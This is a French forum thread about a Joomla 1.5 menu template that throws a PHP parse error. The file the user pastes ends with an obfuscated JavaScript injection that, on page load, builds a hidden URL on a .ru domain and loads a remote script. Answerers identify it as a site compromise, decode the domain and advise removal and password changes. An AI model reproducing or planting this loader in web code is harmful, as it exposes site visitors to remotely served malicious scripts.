2010-03-23 6 views
0

J'ai malheureusement une erreur inconnue avec mon fichier php. (pour joomla 1.5) Je ne semble pas obtenir ce qui ne va pas.Erreur d'analyse: erreur de syntaxe inattendue '<' dans /home/future/public_html/modules/mod_mainmenu/tmpl/default.php à la ligne 84

Ceci est tout mon code, avec une erreur apparente sur la ligne 84. J'apprécierais quelques commentaires, merci.

<?php 

// no direct access 
defined('_JEXEC') or die('Restricted access'); 


if (! defined('modMainMenuXMLCallbackDefined')) 
{ 
function modMainMenuXMLCallback(&$node, $args) 
{ 
$user = &JFactory::getUser(); 
$menu = &JSite::getMenu(); 
$active = $menu->getActive(); 
$path = isset($active) ? array_reverse($active->tree) : null; 

if (($args['end']) && ($node->attributes('level') >= $args['end'])) 
{ 
    $children = $node->children(); 
    foreach ($node->children() as $child) 
    { 
    if ($child->name() == 'ul') { 
    $node->removeChild($child); 
    } 
    } 
} 

if ($node->name() == 'ul') { 
    foreach ($node->children() as $child) 
    { 
    if ($child->attributes('access') > $user->get('aid', 0)) { 
    $node->removeChild($child); 
    } 
    } 
} 

if (($node->name() == 'li') && isset($node->ul)) { 
    $node->addAttribute('class', 'parent'); 
} 

if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) 
{ 
    if ($node->attributes('class')) { 
    $node->addAttribute('class', $node->attributes('class').' active'); 
    } else { 
    $node->addAttribute('class', 'active'); 
    } 
} 
else 
{ 
    if (isset($args['children']) && !$args['children']) 
    { 
    $children = $node->children(); 
    foreach ($node->children() as $child) 
    { 
    if ($child->name() == 'ul') { 
    $node->removeChild($child); 
    } 
    } 
    } 
} 

if (($node->name() == 'li') && ($id = $node->attributes('id'))) { 
    if ($node->attributes('class')) { 
    $node->addAttribute('class', $node->attributes('class').' item'.$id); 
    } else { 
    $node->addAttribute('class', 'item'.$id); 
    } 
} 

if (isset($path) && $node->attributes('id') == $path[0]) { 
    $node->addAttribute('id', 'current'); 
} else { 
    $node->removeAttribute('id'); 
} 
$node->removeAttribute('rel'); 
$node->removeAttribute('level'); 
$node->removeAttribute('access'); 
} 
define('modMainMenuXMLCallbackDefined', true); 
} 

modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); 

<script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> 
<!--793d57c076e95df45c451725e5dedf6f--> 

Répondre

6

Je serais prêt à risquer de deviner que c'est le JavaScript en bas du fichier. Vous devez fermer les balises PHP avant le JavaScript, sinon PHP finit par essayer de traiter le JavaScript comme PHP et échouer.

Je serais également très méfiant de ce code JavaScript car il ne semble pas qu'il fasse quelque chose de bien. Je recommanderais de l'enlever complètement à moins que vous compreniez ce qu'il fait. Si vous ne l'avez pas mis là, vérifiez votre code JavaScript sur votre site, pensez à modifier votre mot de passe FTP et assurez-vous que Joomla est entièrement à jour.

+0

Je pense que Yacoby est juste –

+0

qui est exactement le problème ici – mcgrailm

+0

Je ne suis pas familier avec Joomla, mais il est pratique courante de ** ** PAS permettre au logiciel de se modifier - Assurez-vous que ces fichiers n'appartiennent pas au même propriétaire que le serveur Web et que les autorisations d'écriture sont réservées au propriétaire. – Andy

0

Votre code de production a-t-il cessé de fonctionner soudainement? Si c'est le cas, j'oserais dire que vous avez été piraté.

En fait, le script charge un script à partir d'un site russe.

+0

dunno si vous utilisez joomla mais que mes menus principaux du panneau d'administration sont maintenant désactivés. je ne peux pas utiliser les menus. – kofi

3

Vous avez un virus ou quelque chose. Joomla mod_menu default.php se termine à -

modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); 
+0

vous estimez. Est-ce traitable? il n'y a rien de mal avec le code dans ce cas alors? – kofi

+0

ook, problème résolu. aurait dû y penser en premier lieu. Je ne sais pas ce qui est arrivé au fichier default.php en premier lieu, mais ce que j'ai fait était de télécharger un nouveau paquet joomla et de ré-uploader le fichier default.php par défaut et l'ai remplacé sur mon serveur. résolu le problème en un instant. Merci beaucoup pour votre soutien. – kofi

+0

Tout d'abord, supprimez ce script après la ligne que j'ai mentionnée. J'ai déchiffré ce code et trouvé que, il essaie de rediriger @ http://shareasale-com.google.cz.eyny-com.YourBlenderParts.ru: S'il vous plaît Vérifiez vos autres fichiers pour ce genre de script. Joomla n'a pas ce genre de choses. – Rifat

Questions connexes